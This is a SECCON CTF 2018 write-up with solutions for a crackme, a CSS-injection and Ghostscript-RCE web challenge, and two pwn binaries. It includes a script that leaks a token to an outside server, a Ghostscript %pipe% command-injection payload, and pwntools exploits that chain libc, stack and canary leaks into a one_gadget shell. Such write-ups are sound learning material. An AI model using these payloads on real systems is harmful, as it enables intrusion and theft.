SECCON CTF 2018 Writeup

6 minute read

Rev

Runme

A pretty simple RE chall. We can crack it by static analyze:

int __cdecl sub_401034(unsigned __int8 a1, unsigned __int8 *a2)
{
  JUMPOUT(a1, *a2, &loc_4018BB);
  return sub_401060('C', a2 + 1);
}

The program will compare each byte of our input to a char. Track it until the whole flag is read.

Web

GhostKingdom

Create a user and login, we can find several options: pic1

Here, we can observe CSS injection(encoded by Base64): pic2

My teammate writes a script to leak the token, you can google XSS key logger for more details:

import urllib
import base64
import requests

charset = "0123456789abcdef"

username = "phantom"
password = "qwerty"


token = raw_input("input first n charact token: ")
print token
css = ""

for i in charset:
	css += "input[value^='"+token+i+"'] { background-image: url(http://my_server"+token+i+"); }\n"

cssinjection = urllib.quote(base64.b64encode(css), safe='')

url = "http://ghostkingdom.pwn.seccon.jp/?user="+username+"&pass="+urllib.quote(password,safe='')+"&action=login"
pl = "http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F2130706433%2F%3Fuser%3D"+username+"%26pass%3D"+urllib.quote(urllib.quote(password,safe=''),safe='')+"%26action%3Dmsgadm2%26css%3D"+cssinjection+"%26msg%3Daaaaaaaa&action=sshot2"
print pl

req = requests.Session()

req.get(url)
r = req.get(pl,timeout=10)

print r.status_code

Also, there is a screenshot option, we can use pure number to bypass the check of screenshot: pic3

I though we need to use SSRF to upload image originally, but actually replace the token allow us to do that too.

After leaking all the CSRF token, we can simply change the value of CGISESSID to CSRF token.

According to the challenge name, we can easily infer that it’s related to ghostscript vulnerability.

Here, we can use the script to RCE:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%SOME_COMMANDS_TO_INJECT) currentdevice putdeviceprops

Then, we can list dir and cat flag.

Pwn

Classic Pwn

Simple ROP. Leak Libc base address via .got then execute one_gadget or system

Profile

A C++ pwn, overview:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 output_result; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  int _opt; // [rsp+Ch] [rbp-C4h]
  char message; // [rsp+10h] [rbp-C0h]
  char name; // [rsp+30h] [rbp-A0h]
  char message_copy; // [rsp+50h] [rbp-80h]
  char profile_instance; // [rsp+70h] [rbp-60h]
  unsigned __int64 v18; // [rsp+B8h] [rbp-18h]

  v18 = __readfsqword(0x28u);
  Profile::Profile((Profile *)&profile_instance);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&message, argv);
  output_result = std::operator<<<std::char_traits<char>>(&std::cout, "Please introduce yourself!");
  std::ostream::operator<<(output_result, &std::endl<char,std::char_traits<char>>);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name >> ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &message);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name, &message);
  Profile::set_name((__int64)&profile_instance, (__int64)&name);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&name);
  std::operator<<<std::char_traits<char>>(&std::cout, "Age >> ");
  std::istream::operator>>(&std::cin, &_opt);
  Profile::set_age((Profile *)&profile_instance, _opt);
  std::operator<<<std::char_traits<char>>(&std::cout, "Message >> ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &message);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&message_copy, &message);
  Profile::set_msg((__int64)&profile_instance, (__int64)&message_copy);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&message_copy);
  do
  {
    v4 = std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
    v5 = std::operator<<<std::char_traits<char>>(v4, "1 : update message");
    v6 = std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    v7 = std::operator<<<std::char_traits<char>>(v6, "2 : show profile");
    v8 = std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
    v9 = std::operator<<<std::char_traits<char>>(v8, "0 : exit");
    v10 = std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
    std::operator<<<std::char_traits<char>>(v10, ">> ");
    std::istream::operator>>(&std::cin, &_opt);
    getchar();
    if ( _opt == 1 )
    {
      Profile::update_msg((Profile *)&profile_instance);
    }
    else if ( _opt == 2 )
    {
      Profile::show((Profile *)&profile_instance);
    }
    else
    {
      v11 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong input...");
      std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
    }
  }
  while ( _opt );
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&message);
  Profile::~Profile((Profile *)&profile_instance);
  return 0;
}

The vulnerability is in update_msg. If you previously set a short message, like: a. The recorded message size is 1. However, since malloc need to allocate at least 0x20 (I forgot the min size, but definitely bigger than 1).

So, in the update_msg:

  size = malloc_usable_size(ptr);
  if ( size == 0 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Unable to update message.");
    result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "Input new message >> ");
    result = getn((char *)ptr, size);
  }

We will read more bytes than origin buffer can contain and cause an overflow:

Please introduce yourself!
Name >> test
Age >> 1
Message >> aaa
1 : update message
2 : show profile
0 : exit
>> 1
Input new message >> aaaaaaaaaaaaaaaaaaaa

1 : update message
2 : show profile
0 : exit
>> 0

Program received signal SIGSEGV, Segmentation fault.
__GI___libc_free (mem=0x7fff61616161) at malloc.c:3103

So, if we can overwrite something now(smaller than 16 bytes), let’s see the stack:

                (init and destruct)
0x7fffffffdf78:	0x0000000000401544  0x00007fffffffdf90
                (message size)      (overwriten data)
0x7fffffffdf88:	0x0000000000000001	0x6161616161616161
                (update profile)    (pointer saving name)
0x7fffffffdf98:	0x000000000040155a	0x00007fffffffdfb0

0x7fffffffdfa8:	0x0000000000000001	0x00007ffff7de0031

It’s obvious that we can change the pointer which saves to arbitrary address to leak.

We can first leak setbuf, then the base address of libc to leak environ, which stores stack address. Finally, we use the offset to canary to leak canary and do a overflow:

from pwn import *
p = process("./profile")
profile = ELF("./profile")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level='DEBUG'
gdb.attach(p)

# Leak herlper function
def leak(addr):
  p.sendlineafter(">>", "1")
  payload = 'a' * 8
  payload += p64(0x40155a)
  payload += p64(addr)
  p.sendlineafter(">>", payload)
  p.sendlineafter(">>", "2")
  p.recvuntil("Name : ")
  leak_addr = u64(p.recvline()[:-1])
  return leak_addr

# We need to initialize our name to 8 bits for direct leak
p.sendlineafter(">>", "LeakAddr")
p.sendlineafter(">>", "1")
p.sendlineafter(">>", "a")

# Leak Libc Base Address via setbuf
setbuf_addr = leak(profile.got['setbuf']) 
print "setbuf Address: " + hex(setbuf_addr)
libc_addr = setbuf_addr - libc.symbols['setbuf']
print "Libc Address: " + hex(libc_addr)

# Leak Stack Address
environ_addr = libc_addr +  libc.symbols['environ']
print "Environ Address: " + hex(environ_addr)
stack_addr = leak(leak(environ_addr))
print "Stack Address: " + hex(stack_addr)

# Leak Stack Canary, the offset to canary may be vary
cookie_addr = stack_addr - 0x426 + 1 
p.sendlineafter(">>", "1")
payload = 'a' * 8
payload += p64(0x40155a)
payload += p64(cookie_addr)
p.sendlineafter(">>", payload)
p.sendlineafter(">>", "2")
p.recvuntil("Name : ")
cookie_val = u64(p.recvline()[:-1][0:]) * 0x100
print "Cookie Value: " + hex(cookie_val)

## Trigger One Gadget, the onegadget may be vary in your machine
payload = p64(0) * 7 + p64(cookie_val) + p64(0) * 3 + p64(libc_addr + 0x10a38c)
p.sendlineafter(">>", "1")
p.sendlineafter(">>", payload)
p.sendlineafter(">>", "0")

p.interactive()

Kind VM

The program implements a VM. It first stores out input name to a malloc, than execute at most 400 bytes instructions:

// Code Segement 1
func_table_bss[0] = (int)insn_nop;
func_table_1 = (int)insn_load;
func_table_2 = (int)insn_store;
func_table_3 = (int)insn_mov;
func_table_4 = (int)insn_add;
func_table_5 = (int)insn_sub;
func_table_6 = (int)insn_halt;
func_table_7 = (int)insn_in;
func_table_8 = (int)insn_out;
func_table_9 = (int)insn_hint;

// Code Segement 2
int exec_insn()
{
  unsigned __int8 v1; // [esp+Fh] [ebp-9h]

  v1 = load_insn_uint8_t();
  if ( v1 > 9u )
    kindvm_abort();
  return ((int (*)(void))func_table_bss[v1])();
}

It has two spaces to execute, one is reg, which stimulates registers. Another is mem identical to stack. Both of them are in heap along with func_greeting, func_farewell and banner.txt. The function table, however, is in BSS area.

Let’s talk about instructions first:

  • insn_nop prints NOP to screen.
  • insn_load loads a value from mem to reg, negative number can be specified here.
  • insn_store stores a value from reg to reg, negative number can be specified here.
  • insn_mov moves the value from one reg to another reg
  • insn_add adds values from two reg, hint3.txt will be printed when u gets a negative result (integer overflow).
  • insn_sub subs values from two reg.
  • insn_halt ends the program
  • insn_in stores value to reg.
  • insn_out prints the value from reg
  • insn_hint prints hint2.txt

There is another interesting thing, the function will execute func_greeting and func_farewell. Both of them print banner.txt. If we can modify the banner.txt to flag.txt, we can successfully print flag.

Now, the flag comes handy. We can use negative offset to load the address of kc because *(_DWORD *)(::kc + 12) = "banner.txt";. Then, adjust the offset from banner.txt to our input name (here we input flag.txt). And finally use halt to exit the program and print flag:

from pwn import *
context.log_level = 'DEBUG'
p = process("./kindvm")

def _nop():
    return '\x00'

def _load(reg, val):
    return '\x01' + p8(reg) + p16(val)

def _store(val, reg):
    return '\x02' + p16(val) + p8(reg)

def _mov(reg1, reg2):
    return '\x03' + p8(reg1) + p8(reg2)

def _add(reg1, reg2):
    return '\x04' + p8(reg1) + p8(reg2)

def _sub(reg1, reg2):
    return '\x05' + p8(reg1) + p8(reg2)

def _halt():
    return '\x06'

def _in(reg, val):
    return '\x07' + p8(reg) + p32(val)

def _out(reg):
    return '\x08' + p8(reg)

payload = _load(0, 0xd8ff)
payload += _out(0)
payload += _store(0xdcff, 0)
payload += _halt()

p.sendlineafter(":", "flag.txt")
p.sendlineafter(":", payload)
p.recvall()

Leave a comment